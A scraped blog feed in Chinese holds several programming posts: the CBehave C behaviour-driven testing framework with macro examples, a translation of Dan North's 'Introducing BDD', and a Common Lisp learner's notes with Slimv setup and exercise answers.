club.\u0026rdquo;)\nchar *str = \u0026ldquo;FC Barcelona is a great football club\u0026rdquo;;\nGIVEN_END\nWHEN(\u0026ldquo;we use strstr to find the first occurrence of [AC Milan]\u0026rdquo;)\nchar *p = strstr(buf, \u0026ldquo;AC Milan\u0026rdquo;);\nWHEN_END\nTHEN(\u0026ldquo;We should get no string but a NULL\u0026rdquo;)\nSHOULD_STR_EQUAL(p, NULL);\nTHEN_END\nSCENARIO_END\nFEATURE_END\nint main() {\ncbehave_feature strstr_features[] = {\n{feature_idx(1)},\n};\nreturn cbehave_runner(\u0026ldquo;Strstr Features are as belows:\u0026rdquo;, strstr_features);\n}\n编译运行这个测试，我们会得到如下结果(节选)：\nStrstr Features are as belows:\nFeature: strstr\nScenario: The strstr finds the first occurrence of the substring in the source string\nGiven: A source string: Lionel Messi is a great football player\nWhen: we use strstr to find the first occurrence of [football]\nThen: We should get the string: [football player]\nScenario: If strstr could not find the first occurrence of the substring, it will return NULL.\nGiven: A source string: FC Barcelona is a great football club.\nWhen: we use strstr to find the first occurrence of [AC Milan]\nThen: We should get no string but a NULL\nSummary:\ntotal features: [1]\nfailed features: [0]\ntotal scenarios: [2]\nfailed scenarios: [0]\nCBehave将strstr的行为原汁原味地输出到最终的测试结果中，与xUnit等框架相比，这确是一个进步，我们在获知测试结果的同时，还依稀中看到了这个特性的需求描述，前提是你要给出一个很好很精确的描述，但这已经不是框架可以帮助你做的了^_^。另外即使你的测试失败了，你甚至可以不通过错误提示中的源码文件名和行号信息也可以快速定位到错误的位置所在。因为错误周围是有足够的上下文信息的。\n其次，CBehave支持mock。CBehave中mock的实现完全参考了我之前设计的单元测试框架LCUT，下面是一个简单的例子(片断，完整代码参加cbehave/src/example/product_database_test.c)：\nFEATURE(1, \u0026ldquo;Get the total count of employees\u0026rdquo;)\nSCENARIO(\u0026ldquo;Get the total count of employees\u0026rdquo;)\nGIVEN(\u0026ldquo;The db connection is ready and there are 5 employees in total\u0026rdquo;);\nCBEHAVE_RETV_RETURN(connect_to_database, 0×1234);\nCBEHAVE_ARG_RETURN(table_row_count, 5);\nCBEHAVE_RETV_RETURN(table_row_count, 0);\nGIVEN_END\nWHEN(\u0026ldquo;We call function: get_total_count_of_employee\u0026rdquo;);\nint count = get_total_count_of_employee();\nWHEN_END\nTHEN(\u0026ldquo;The total count of employees we read from db should be 5\u0026rdquo;)\nSHOULD_INT_EQUAL(count, 5);\nTHEN_END\nSCENARIO_END\nFEATURE_END\n最后，CBeahve还支持多种SHOULD_XX宏，并且可根据需要灵活添加。目前已支持整型、字符串以及布尔类型的判定。\n关于CBehave的实现历程这里也简单说一下。\n首先需要确定CBehave的\u0026quot;长相\u0026quot;，也就是CBehave采用的行为描述模板是啥样子的。这块儿确是花了我不少的时间，查看各种资料以及研究其他框架的设计，最终选择了Feature+Scenario以及用Given-When-Then来描述行为的\u0026quot;文档模板\u0026quot;。\n其次，有了\u0026quot;文档模板\u0026quot;后如何将其转换为可执行的代码实体？这块也费了我不少脑细胞。思前想后，最终设计是将Feature转换成一个可运行的实体-函数。另外我在函数中使用{}来物理划分Scenario，{}可以隔离变量的可见性和作用域，已达到多个Scenarios定义和执行互不干扰的目的。\n上面的标准文档结果中的一个FEATURE宏展开后的样子大致是这样的：\nstatic void cbehave_feature_n(void *_state) {\ncbehave_state _old_state;\ncbehave_feature_entry(…, \u0026amp;_old_state, _state);\n{\n/* Scenario #1 */\nint _scenario_state = 0; \\\ncbehave_scenario_entry(x, _state);\n… …\ncbehave_scenario_exit(\u0026amp;_scenario_state, _state);\n}\n{\n/* Scenario #2 */\n}\n… …\n{\n/* Scenario #n */\n}\n_feature_over: \\\ncbehave_feature_exit(…);\n}\n关于feature函数的命名，我考虑了很长时间，由于从外界输入的信息无法约束，这里我引入了Feature序号，并同时将序号作为Feature函数名的一部分。例如：\nFEATURE(10, \u0026ldquo;fopen features\u0026rdquo;)\n展开后的feature函数名就是cbehave_feature_10，这样做对用户也有一定约束，但约束较小，只需CBehave用户保证各个Feature的序号不同即可。\n在使用CBehave时，很可能出现另外一个问题:那就是测试代码在GIVEN或WHEN区段中依赖的一些资源申请或其他代码的初始化可能失败或出现异常。遇到这种情况时，用户多选择return或exit。但一旦用户这样做，CBehave就无法统计和输出测试失败情况或统计的不够准确了。为了尽量保证CBehave统计的精确性，CBehave提供了一个宏FEATURE_RETURN供用户使用。FEATURE_RETURN将控制权转移到Feature函数的末尾，也就是上面宏展开末尾的哪个_feature_over跳转标识符处，这样Feature有机会把这一错误情况记录下来。另外还可以保证其他Feature测试的继续运行。这里举个简单例子(完整代码参见cbehave/src/example/text_editor_test.c)：\nFEATURE(1, \u0026ldquo;Text Editor – Open Exsited File\u0026rdquo;)\nSCENARIO(\u0026ldquo;Open an Exsited File and write something to it\u0026rdquo;)\nGIVEN(\u0026ldquo;A file named foo.txt\u0026rdquo;)\nFILE *fp = NULL;\nchar *buf = \u0026ldquo;Hello Cbehave!\u0026rdquo;;\nGIVEN_END\nWHEN(\u0026ldquo;we open the file and write something to it\u0026rdquo;)\nfp = fopen(\u0026ldquo;foo.txt\u0026rdquo;, \u0026ldquo;r+\u0026rdquo;);\nif (!fp)\nFEATURE_RETURN(errno);\nWHEN_END\nTHEN(\u0026ldquo;We should see [Hello Cbehave] has been written into foo.txt\u0026rdquo;)\nif (fp)\nfclose(fp);\nTHEN_END\nSCENARIO_END\nFEATURE_END\n例子中如果fopen打开foo.txt失败，代码中调用了FEATURE_RETURN来应对这一情况，而不是直接调用return或exit。\n最后，与LCUT不同，Cbehave会尝试运行完所有Feature的测试，而不是遇到测试错误就停止运行。\n因为之前有过LCUT单元测试框架的设计和实现经验，这次CBehave框架的设计和实现就相对容易了些。CBehave的设计用了一天时间，上周末两天\u0026quot;百忙\u0026quot;中抽空完成了编码和测试，目前已提供了cbehave-0.1.0-beta版供下载体验，欢迎大家提出你的宝贵意见和建议^_^，更多关于CBehave使用方面的细节请参考CBehave用户指南(http://code.google.com/p/cbehave/wiki/CBehave_User_Guide_cn)。\nBTW，我并不是一个纯粹的TDDers。我个人认为完全采用TDD或是BDD还是有一定局限的。是否采用这些方式进行开发还要视产品(或项目)的时间、质量、人员能力等诸多制约因素而定。个人推断国内的C程序员多普遍缺乏采用框架进行单元测试的意识，BDD或TDD的推广还是任重道远的。\n","permalink":"https://tonybai.com/2011/08/15/cbehave-a-bdd-framework-for-c/","summary":"\u003cp\u003e\u003ca href=\"http://behaviour-driven.org/\"\u003eBehaviour-Driven Development\u003c/a\u003e，即行为驱动开发在业界早已不是什么新鲜玩意了。我之前也略有了解，不过一直没有\u0026quot;深入钻研\u0026quot;。直到今年年初InfoQ的几篇有关BDD的文章才让我对BDD有了更多的认识。与\u003ca href=\"http://en.wikipedia.org/wiki/Test-driven_development\"\u003eTDD\u003c/a\u003e一样，C语言在BDD领域依旧是一个\u0026quot;后进分子\u0026quot;，在多数主流语言(Java，C#，Ruby等)都已经拥有比较成熟的BDD框架(如\u003ca href=\"http://jbehave.org/\"\u003eJBehave\u003c/a\u003e、\u003ca href=\"http://specflow.org/\"\u003eSpecFlow\u003c/a\u003e和\u003ca href=\"http://cukes.info/\"\u003eCucumber\u003c/a\u003e)的今天，C语言却似乎仅有一款BDD框架-\u003ca href=\"https://github.com/arnaudbrejeon/cspec\"\u003eCSpec\u003c/a\u003e可用。于是年初的时候我就把设计和实现一个用于C语言的行为驱动开发框架加入到我今年的ToDoList中了。\u003c/p\u003e","title":"CBehave – 一个C语言行为驱动开发框架"},{"content":"本文翻译自Dan North的文章\u0026quot;Introducing BDD\u0026quot;。\n我遇到了一个问题。当我在不同环境的多个项目中使用和教授类似测试驱动开发(test-driven development, TDD)这样的敏捷实践时，我总是能遇到来自程序员们相同的困惑和误解。他们想知道从哪里开始、测什么不测什么、一次测试多少、谁来调用他们的测试以及如何理解为什么一个测试失败了。\n越是深入TDD，我越能感觉到我对TDD认知过程是时断时续、逐步掌握的，还远未进入到死胡同。我记得多数时间我想到的都是\u0026quot;这只是别人告诉我这样做的\u0026quot;，而不是\u0026quot;哇，我明白为何要这样做了\u0026quot;。我断定一定可以通过某种方法将TDD直截了当地呈现给那些优秀的程序员们，并且可以避免所有陷阱。\n我给出的答案是行为驱动开发（Behaviour-drive Development, BDD)。它从已有的敏捷实践演化而成，其设计目的是让敏捷实践对于采用敏捷软件交付的新团队来说变得更加容易理解和高效。随着时间推移，BDD已经发展为一种包含敏捷分析以及自动验收测试的敏捷实践。\n测试方法名应该成句\n我第一次发出\u0026quot;Aha!\u0026ldquo;是当看到我的同事Chris Stevenson开发的一款看似简单的名为agiledox的工具程序时。这个程序用于处理JUnit的测试类，并以普通句子的形式打印出方法名。其中的一个测试用例看起来像这样：\npublic class CustomerLookupTest extends TestCase {\ntestFindsCustomerById() {\n…\n}\ntestFailsForDuplicateCustomers() {\n…\n}\n…\n}\n结果是这样的：\nCustomerLookup\n- finds customer by id\n- fails for duplicate customers\n- …\n\u0026ldquo;test\u0026quot;这个词被从类名和方法名中剥离出来，采用驼峰式命名方式(camel-case)的方法名被转换为普通的文本。这就是这个工具所做的一切，但是它产生的效果却是惊人的。\n开发人员发现这至少可以为他们产生一些文档，所以他们开始编写使用真实句子作为名字的测试方法。更重要的是，当他们使用业务领域的语言作为方法名后，生成的文档对于商业用户、分析师以及测试人员变得同样有意义了。\n一个让你专注于测试方法的简单句子模板\n接下来我无意中发现了以单词\u0026quot;should\u0026quot;作为开头的测试方法命名手法。这个句子模板-\u0026rdquo;这个类应该(should)做某事\n\u0026ldquo;-意思是你只能为当前类定义测试，这会让你保持专注。如果你发现自己编写了一个名字不符合该模板的测试，这表明这个行为很可能属于其他地方。\n例如，我正在编写一个用于校验屏幕输入的类。大多字段都是常规的客户信息-名，姓氏等等，不过其中有一个字段用于输入出生日期，还有一个字段用来输入年龄信息。我开始编写一个ClientDetailsValidatorTest类，其中包含诸如testShouldFailForMissingSurname和testShouldFailForMissingTitle的测试方法.\n接下来，我开始着手计算年龄，我的思维进入了一个充斥着繁琐业务规则的世界：如果客户同时提供的年龄和出生日期信息两者无法匹配该怎么处理？如果提供的出生日期是今天呢，又该如何处理？如果我只得到了出生日期，我应该如何计算年龄呢？为了描述这个行为，我正在编写的一些测试方法名字日益复杂，所以我考虑将其交给其他类去处理。这促使我引入了一个名为AgeCalculator的新类以及对应的AgeCalculatorTest。所有有关年龄计算的行为都放到calculator这个类中，这样validator类只需要一个有关年龄计算的测试例，并保证其与calculator类可以正确地交互。\n如果一个类做了不止一件事情，这对我而言通常是一个提示：我应该引入其他类来分担一些工作了。我会将该新服务定义成一个可以_描述它自身职责_\n的接口，并且将该服务通过类的构造函数传入：\npublic class ClientDetailsValidator {\nprivate final AgeCalculator ageCalc;\npublic ClientDetailsValidator(AgeCalculator ageCalc) {\nthis.ageCalc = ageCalc;\n}\n}\n这种将众多对象连接在一起的手法，即通常所说的依赖注入(dependency injection)，在与mock机制一同使用时特别有用。\n当测试失败时，一个表达良好的测试名字十分有用\n不久，我就发现如果我修改代码后导致测试失败，我可以查看测试方法的名字并识别出这段代码预期的行为。通常发生的情况有下面三种：\n* 我引入一个bug。都怪我。解决方法：修正这个bug。\n* 预期行为仍然有意义，但已移至别处了。解决方法：将这个测试例移走，也许还要进行一些修改。\n* 这个行为已经不再正确 – 系统的前提发生了改变。解决方法：删除这个测试。\n在敏捷项目中随着你的理解的深入，最后一种情况很可能发生。不幸的是，TDD新手对删除测试例有着与生俱来的恐惧，就好像这样做会降低他们的代码质量似的。\n在一个更微妙的方面上，与那些更加正式的单词will或shall相比，单词should的含义更加显而易见。Should隐式地允许你挑战测试例的前提：\u0026ldquo;它应该吗？果真是这样吗\u0026rdquo;。这样我们可以更加容易判断出测试失败到底是由于你引入的一个bug还是只是因为你之前对系统行为的假设已经不再正确。\n与\u0026quot;测试(test)\u0026ldquo;相比，\u0026ldquo;行为(Behaviour)\u0026ldquo;是个更加有用的词\n现在，我有一个工具 – agiledox – 用来删除单词\u0026quot;test\u0026rdquo;，并且我拥有一个编写测试方法名的模板。我突然意识到人们关于TDD的误解几乎都归结到单词\u0026quot;test\u0026quot;上。\n这并不是说测试不是TDD所固有的 -测试方法的结果集是一个保证你的代码可以正确工作的有效途径。但是，如果方法没有全面地描述你的系统的行为，那么它们会使你产生一种虚假的安全感。\n在进行TDD时，我开始使用单词\u0026quot;behaviour\u0026quot;代替\u0026quot;test\u0026rdquo;。我发现这样做不仅合适，而且之前在TDD辅导时遇到的各类问题也都迎任而解。现在我已经有了这些问题的答案。什么来调用你的测试，这个问题变得很容易回答 – 我们在一个句子中调用你的测试，这个句子描述了你感兴趣的行为。测试多少用例才算充分 – 这取决于你在一个句子中可以描述多少行为。当测试失败时，我们可以简单地按照上面描述的过程解决- 要么你引入了一个bug，要么这个行为被移走了，或者是这个测试不再有意义了。\n我发现这种从考虑测试到考虑行为的思维转变影响是如此巨大，以致于我开始把TDD称作为BDD，或行为驱动开发了。\n与测试相比，JBehave更强调行为\n在2003年末，我觉得是时候采取实际行动了。我开始编写一个名为JBehave的JUnit的替代品，它删除了代码中所有涉及测试的词汇，并替换为与验证行为相关的词汇。我这样做的目的就是为了看看如果我严格坚持我的行为驱动方法，这样一个框架将会如何演变。同时，我认为这也是一个有价值的教学工具，可以用来介绍TDD和BDD，同时可以避免大家分心于那些Test相关的词汇。\n为了定义一个假想CustomerLookup类的行为，我编写了一个行为类，例如，CustomerLookupBehaviour。这个类包含以单词\u0026quot;should\u0026quot;开始的方法。行为运行器(behaviour runner)将实例化这个行为类，并依次调用每个行为方法，就像JUnit处理测试例的方式一样。它还会报告执行进度并在结束时输出一份总结。\n我的第一个里程碑是使得JBehave做到自我验证。我只不过增加了一些行为，使得JBehave可以验证自己。我能够将所有JUnit测试例移植为JBehave行为并且可以像JUnit那样立即获取验证结果的反馈。\n确定最重要的行为\n接下来，我发现了商业价值的概念。当然了，我一直知道我编写软件的原因，但是我从未真正考虑过我现在所编写代码的价值。我的另外一个同事，业务分析师Chris Matts，促使我开始考虑在行为驱动开发背景下的商业价值。\n假定我在头脑中已经有了使JBehave自托管的目标，我发现一个真正有用的保持专注的方法就是问：系统_尚未_\n实现的最重要的特性是什么\n？\n这个问题需要你能识别出你尚未实现的特性的价值，并按优先级顺序对它们进行排序。它也可以帮助你制定这个行为方法的名字：系统尚未实现X（X是一个有意义的行为)，X是重要的，这意味着系统应该实现X；所以你的下一个行为方法很简单：\npublic void shouldDoX() {\n// …\n}\n现在我有了另外一个TDD问题即\u0026quot;从何开始\u0026quot;的答案了。\n需求也是行为\n此时此刻，我拥有了一个框架，它可以帮助我理解，并且更重要的是解释TDD是如何工作的，并且还可以帮助我解释一种避免我遇到的所有陷阱的方法。\n临近2004年年底，当我向Matts描述我新发现的、基于行为的词汇时，他说\u0026quot;但是这很像分析\u0026rdquo;。当我们讨论到这些时，我们停顿了很长时间，然后我们决定将这种行为驱动的思维方式应用于定义需求。如果我们可以为分析师、测试人员、开发人员以及业务开发出一致的词汇，那么我们就可以很好的消除技术人员和业务人员沟通过程中产生的一些岐义和错误传达。\nBDD为分析提供了一种\u0026quot;通用语言(ubiquitous language)\u0026rdquo;\n就在此期间，Eric Evans出版了他的畅销书《领域驱动设计》。在书中，他使用一种基于业务领域的通用语言描述了系统建模的概念，这使得商业词汇渗透到了代码库中。\nChris和我意识到我们正试图为_分析过程本身_\n定义一种通用语言！我们拥有一个很好的起点。公司内部已经有了一个常用的故事模板，看起来类似这样：\n作为(As a)\n[X]\n我要(I want)\n[Y]\n结果是(so that)\n[Z]\n这里Y是某个特性，Z是这个特性的价值或带来的益处，X是这个特性的受益人或角色。它的优点在于当你第一次定义需求故事时，它将迫使你识别交付这个故事的价值。当一个故事没有真正的商业价值，它常常可以归结为类似：\u0026quot;…我想要[某个特性]，所以[我就去做，好吗?]\u0026quot;。这样可以更加容易地消减一些难懂的需求。\n从这点触发，Matts和我开始着手了解每个敏捷测试人员已经知道了些什么：一个故事的行为仅仅是其验收标准 – 如果系统满足所有验收标准，它的行为就是正确的；相反，它的行为就是不正确的。所以我们创建了一个模板来捕捉一个故事的验收标准。\n这个模板应该足够宽松，这样分析师们不会感觉到矫揉造作或受到约束。不过它也应该足够结构化，这样我们可以将故事分解成组成片断并自动生成它们。我们从场景(scenarios)的角度来描述验收标准，采用如下形式：\n假定(Given)\n一些初始上下文，\n当(When)\n一个事件发生，\n那么(then)\n要保证一些结果。\n为了说明这一点，我们使用ATM机这个经典的例子。其中的一个故事卡可能看起来像这样：\n+标题: 客户取现金+\n作为(As)一个客户\n我想(I want)从一台ATM机中取现金\n结果(so that)是我不需要在银行中排队等候\n那么我们怎么知道何时我们已经交付了这个故事呢？这里有几种场景要考虑：账户可能有盈余，账户可能被透支，但在透支额度以内，账户可能被透支且超出透支额度。当然，还有其他一些场景，注入如果账户有盈余，但是这次取款将使得账户透支，或如果自动取款机现金量不足。\n使用given-when-then模板，头两个场景可能看起来是这样的：\n+场景 1: 账户有盈余 +\n假定账户有盈余\n并且(And)卡片是有效的\n并且取款机有现金\n当(When)客户请求现金时\n那么(Then)要保证这个账户被记入了贷方\n并且(And)保证现金被取出\n并且保证卡片被返还\n注意，and用于以自然的方式连接多个givens(假定)或多个outcomes(结果)。\n+场景 2: 账户透支超出额度限制+\n假定账户被透支\n并且卡片是有效的\n当客户请求现金\n那么要保证显示一条拒绝消息\n并且保证现金没有被取出\n并且保证卡片被返回\n两个场景都是基于同样的events(事件)，甚至有一些共同的givens和outcomes。我们要通过重用givens，events和outcomes充分利用这一点。\n验收标准应该是可执行的\n场景的片断-givens，events和outcomes-的粒度足够细，可以直接用代码表示。JBehave定义了一个对象模型，该模型允许我们直接将场景片断映射为Java类。\n你编写一个类用于代表每个given：\npublic class AccountIsInCredit implements Given {\npublic void setup(World world) {\n…\n}\n}\npublic class CardIsValid implements Given {\npublic void setup(World world) {\n…\n}\n}\n并且另外一个用于代表event：\npublic class CustomerRequestsCash implements Event {\npublic void occurIn(World world) {\n…\n}\n}\noutcomes也是这样。然后JBehave将所有这些联系起来并且执行它们。它创造了一个\u0026quot;世界\u0026rdquo;，只是用于存储你的对象，它将这个世界依次传递给每个givens，这样这些givens就可以用已知状态生存于这个世界中了。JBehave接下来告诉events出现在这个世界，它们实现了场景的实际行为。最后，它将控制权传递给我们为这个故事定义的任一一个outcome。\n用一个类来表示每个片断使得我们可以在其他场景或故事中重用这些片断。起初，我们通过使用mock机制设置账户有盈余或者卡片有效来实现片断。这些形成了实现行为的起始点。当你实现应用时，你修改givens和outcome，使用你实现的实际类，这样直到场景完成为止，他们已经成为正确的端到端的功能测试。\nBDD的现在和未来\n经过一次简短的停顿后，JBahave回归到积极的开发。其核心已经相当完整和健壮了。下一步是将其与流行的Java IDE如IntelliJ IDEA和Eclipse集成在一起。\nDave Astels一直在积极推动BDD。他的博客以及各类发表的文章引发了一系列活动，最引人注目的是rspec项目，它是一个用Ruby语言实现的BDD框架。我已经开始开发rbehave，它将是一个用Ruby实现的JBehave。\n我的许多同事都一直在现实世界中的各种项目中使用了BDD技术，并且发现这个技术非常成功。JBehave的故事runner – 校验验收标准的部分 – 正在积极的开发中。\n我们的目标是拥有一个往返的编辑器，这样业务分析师和测试人员可以在一个普通的文本编辑器中捕获故事，同时这个编辑器还可以为行为类生成桩代码，所有这些都使用业务领域的语言描述。BDD的演化是与大家的帮助分不开的，我在这里十分感谢他们。\n","permalink":"https://tonybai.com/2011/08/10/introducing-bdd/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://dannorth.net/\"\u003eDan North\u003c/a\u003e的文章\u0026quot;\u003ca href=\"http://dannorth.net/introducing-bdd/\"\u003eIntroducing BDD\u003c/a\u003e\u0026quot;。\u003c/p\u003e\n\u003cp\u003e我遇到了一个问题。当我在不同环境的多个项目中使用和教授类似测试驱动开发(test-driven development, \u003ca href=\"http://en.wikipedia.org/wiki/Test-driven_development\"\u003eTDD\u003c/a\u003e)这样的敏捷实践时，我总是能遇到来自程序员们相同的困惑和误解。他们想知道从哪里开始、测什么不测什么、一次测试多少、谁来调用他们的测试以及如何理解为什么一个测试失败了。\u003c/p\u003e\n\u003cp\u003e越是深入TDD，我越能感觉到我对TDD认知过程是时断时续、逐步掌握的，还远未进入到死胡同。我记得多数时间我想到的都是\u0026quot;这只是别人告诉我这样做的\u0026quot;，而不是\u0026quot;哇，我明白为何要这样做了\u0026quot;。我断定一定可以通过某种方法将TDD直截了当地呈现给那些优秀的程序员们，并且可以避免所有陷阱。\u003c/p\u003e","title":"行为驱动开发导引"},{"content":"Common Lisp是一门Interactive语言，比较容易上手。无论你是用CLISP，SBCL还是Clozure CL，你都可以很快地写出一个\u0026quot;Hello, World\u0026ldquo;程序出来。不过千万不要因此低估了Common Lisp，前人的经验表明：Common Lisp是门庞大且复杂的语言，其学习曲线可并不低。要想真正掌握它，需要你有持续的热情、足够的耐心和不断的练习。我接触Common Lisp时间也不长，是个地地道道的初级选手。这段时间看了些书，做了一些练习，这里把我初学Common Lisp过程中的点点滴滴记录下来，以备忘。\n俗话说：工欲善其事，必先利其器。Common Lisp开发者们也有着自己一套高效的开发工具。目前无论是在Windows还是在Linux或是其他平台上，最受Lisper们推崇的工具组合是Emacs+ Slime(The Superior Lisp Interaction Mode for Emacs)。鼎鼎大名的Emacs这里就不说了，Slime对于很多非Lisp开发者来说是一个陌生的名字，我们可以把它看成是一种专门为Lisper们提供的一个嵌入到Emacs中的IDE，通过它我们可以在Emacs编辑器中直接进行Lisp代码的求值，编译，宏扩展，符号定义的查找，名字的自动补全以及在线文档查询等操作。我平时开发更多使用的是另外一种编辑神器-VIM，幸运的是已经有人将Slime移植到了Vim下，Slime摇身一变，变成了Slimv（The Superior Lisp Interaction Mode for Vim）。由于接触时间较短，我目前尚不确定在功能上Slimv是否完全等同于Slime。不过就目前来看，Slimv的确让Vim下Common Lisp代码的编写变的高效了许多。\nSlimv的安装极其简单：将Slimv包下载到你的$HOME/.vim下（这里以Linux下的安装为例），直接解压即可。Slimv首先为Vim提供了一种名为Paredit Mode(.vim/doc/paredit.txt )的编辑模式，这种模式专门针对Lisp代码源文件，诸如以.lisp为后缀名的文件。该编辑模式保证内容中所有括号、方括号以及双引号均平衡出现，即成对匹配。当你敲入\u0026rdquo;(\u0026quot;，该模式会自动补充对应的\u0026quot;)\u0026quot;；删除半个括号时，另半个括号也被自动删除。初次使用Paredit mode很不习惯，特别是不知如何在括号的外层再包裹一层括号，也就是将(list 1 2)变为((list 1 2))。每次在(list 1 2)开始处输入\u0026quot;(\u0026quot;，都会得到\u0026quot;()(list 1 2)\u0026quot;。后来才在Stackoverflow上觅到答案：原来先输入\u0026quot;\\\u0026ldquo;再输入\u0026rdquo;(\u0026ldquo;时，Slimv不会自动补充\u0026rdquo;)\u0026quot;，通过这种方式可以在括号的外围再加上一层括号了，在Lisp实际编程过程当中，嵌套括号的情况还是很多的。\n打开一个名为xx.lisp的源文件，Slimv就会自动发挥作用。在Vim的命令模式下，敲入\u0026quot;,c\u0026quot;，Slimv会自动启动Swank Server，这个Server运行着一个Common Lisp的REPL，接收并处理嵌入在Vim中的Slimv client端发出的求值、编译、调试等请求，保存你在Vim中与REPL的session内容。Slimv同时会在Vim里创建一个REPL窗口，不过这仅是用来等待你的输入，真正的求值等操作是在Swank Server完成的。\nSlimv会自动Detect你已安装的Common Lisp实现，在我的已经安装过Clisp和SBCL的系统中，Slimv优先选择了SBCL。 关于Slimv，这里不再多说什么了，因为其作者已经编写了一份很详尽的Tutorial在这里，有兴趣的朋友可以参考之。\n我在读的Common Lisp书籍主要有两本：一本是\u0026quot;黑客与画家\u0026ldquo;的作者Paul Graham编写的\u0026rdquo;ANSI Common Lisp\u0026quot;，另外一本则是Peter Seibel的\u0026quot;Practical Common Lisp\u0026quot;(据说该书的中文译本已由binghe完成)。这一周多来，我快速地浏览了Peter Seibel的\u0026quot;Practical Common Lisp\u0026quot;，除了惊奇于一些之前未曾接触过的特殊语法结构（如Closure）之外，也感叹于Common Lisp的复杂，数不尽的function, macro和special operator让我有些迷失和混淆。另外Peter Seibel自称书中有关macro的例子都很初级，但就是这样初级的macro也是甚难以理解的。关于macro的深入领会，我看只能指望Paul Graham的大作：\u0026ldquo;ANSI Common Lisp\u0026quot;和\u0026quot;on lisp\u0026quot;了。\n另外一本名为\u0026rdquo;Common Lisp Quick Reference\u0026ldquo;的小书也值得一看，不过更适合Common Lisp老手查阅手册时使用。\n浏览完\u0026quot;Practical Common Lisp“后，继续精读\u0026quot;ANSI Common Lisp\u0026rdquo;，并且对其中的习题也不放过。这些练习估计很初级，不过对于我这个初级选手来说正合适。刚刚看完第二章(Welcome to Lisp)，这里将我的习题答案放到这里，供大家批评指正：\n练习1.\n(a) 14\n(b) (1 5)\n(c) 7\n(d) (NIL 3)\n练习2.\n[1]\u0026gt; (cons \u0026lsquo;a \u0026lsquo;(b c))\n(A B C)\n[2]\u0026gt; (cons \u0026lsquo;a (cons \u0026lsquo;b (cons \u0026lsquo;c nil)))\n(A B C)\n[3]\u0026gt; (cons \u0026lsquo;a (list \u0026lsquo;b \u0026lsquo;c))\n(A B C)\n练习3.\n[1]\u0026gt; (defun my-fourth (x)\n(car (cdr (cdr (cdr x)))))\nMY-FOURTH\n[2]\u0026gt; (my-fourth \u0026lsquo;(1 2 3 4 5))\n4\n练习4. [1]\u0026gt; (defun my-max (x y)\n(if (\u0026gt; x y) x y))\nMY-MAX\n[2]\u0026gt; (my-max 5 6)\n6\n[3]\u0026gt; (my-max 7 6)\n7\n以上方案只适用于整数等适用\u0026gt;进行比较的类型，下面是一个更加通用的版本：\n[1]\u0026gt; (defun my-max1 (x y comp_func)\n(if (funcall comp_func x y) x y))\nMY-MAX1\n[2]\u0026gt; (defparameter *cf* (lambda (x y) (if (\u0026gt; x y) t nil)))\n*CF*\n[3]\u0026gt; (my-max1 5 6 *cf*)\n6\n[4]\u0026gt; (my-max1 7 6 *cf*)\n7\n[5]\u0026gt; (defparameter *ccf* (lambda (x y) (if (char\u0026gt; x y) t nil)))\n*CCF*\n[6]\u0026gt; (my-max1 #\\c #\\b *ccf*)\n#\\c\n[7]\u0026gt; (my-max1 #\\c #\\d *ccf*)\n#\\d\n练习5.\n(a) enigma函数的功能是找出list中是否有值为nil的元素，如果有，返回T；否则返回nil\n(b) mystery函数的功能是返回x在y列表中的位置(下标)\n练习6.\n(a) x = car\n(car (car (cdr \u0026lsquo;( a (b c) d ) ) ) )\n(b) x = or\n(or 13 (/ 1 0))\n注：短路求值，后一项在13为t的情况下不被求值，避免了divide by 0错误\n(c) x = apply\n注意funcall与apply的区别\n(funcall function arg1 arg2 …)\n== (apply function arg1 arg2 … nil)\n== (apply function (list arg1 arg2 …))\n练习7.\n(defun have-list-param-p (x)\n(let ((result nil))\n(dolist (obj x)\n(if (listp obj)\n(setf result t)))\nresult))\n[1]\u0026gt; (load \u0026ldquo;list_param.lisp\u0026rdquo;)\n;; Loading file list_param.lisp …\n;; Loaded file list_param.lisp\nT\n[38]\u0026gt; (have-list-param-p \u0026lsquo;(1 2 3))\nNIL\n[39]\u0026gt; (have-list-param-p \u0026lsquo;(1 (2 3) 4))\nT\n练习8.\n(a)\niterative solution:\n(defun print_dots (number-of-dots)\n(do ((i 1 (+ i 1)))\n((\u0026gt; i number-of-dots))\n(format t \u0026ldquo;.\u0026rdquo;)))\nrecursive solution:\n(defun print_dots (number-of-dots)\n(let ((i number-of-dots))\n(if (\u0026gt; i 1)\n(print_dots (- number-of-dots 1)))\n(format t \u0026ldquo;.\u0026rdquo;)))\n练习9.\n(a) 问题所在：remove返回一个新的lst，原来的lst如果包含nil，则+会提示nil is not a number\n修改后：\n(defun summit (lst)\n(setf lst (remove nil lst)) (apply #\u0026rsquo;+ lst))\n(b) 问题所在：导致无穷递归，提示Program stack overflow. RESET\n修改后：\n(defun summit (lst)\n(if lst (+ (or (car lst) 0) (summit (cdr lst))) 0))\nCommon Lisp与Haskell不同，Common Lisp并非纯函数式编程语言，其中包含了诸多命令式(imperative)的元素，这样对于习惯了命令式编程的初学者来说，在学习过程中就不会感觉到过于剧烈的思维跳跃了。\n","permalink":"https://tonybai.com/2011/08/05/some-experience-of-common-lisp-beginner/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eCommon Lisp\u003c/a\u003e是一门Interactive语言，比较容易上手。无论你是用\u003ca href=\"http://www.clisp.org/\"\u003eCLISP\u003c/a\u003e，\u003ca href=\"http://www.sbcl.org/\"\u003eSBCL\u003c/a\u003e还是\u003ca href=\"http://ccl.clozure.com/\"\u003eClozure CL\u003c/a\u003e，你都可以很快地写出一个\u0026quot;\u003ca href=\"http://bigwhite.blogbus.com/logs/138644306.html\"\u003eHello, World\u003c/a\u003e\u0026ldquo;程序出来。不过千万不要因此低估了Common Lisp，前人的经验表明：Common Lisp是门庞大且复杂的语言，其学习曲线可并不低。要想真正掌握它，需要你有持续的热情、足够的耐心和不断的练习。我接触Common Lisp时间也不长，是个地地道道的初级选手。这段时间看了些书，做了一些练习，这里把我初学Common Lisp过程中的点点滴滴记录下来，以备忘。\u003c/p\u003e","title":"Common Lisp初学点滴"},{"content":"记得刚来公司时曾参与过一个项目，项目中用到了部门基础库中的一个B+树接口。不过在程序调试过程中我们发现可执行程序总是dump core（在sparc solaris上），经初步分析，断定问题就出在B+树接口处，但一时又找不到问题原因。还好这个B+树的实现者就坐在我的旁边。他分析后告诉我：这个B+树接口要求用户自定义的索引结构体的size应该为4的整数倍。按照他的说法，我为结构体打了padding，以满足结构体size为4的整数倍的要求。修改后果然不再dump 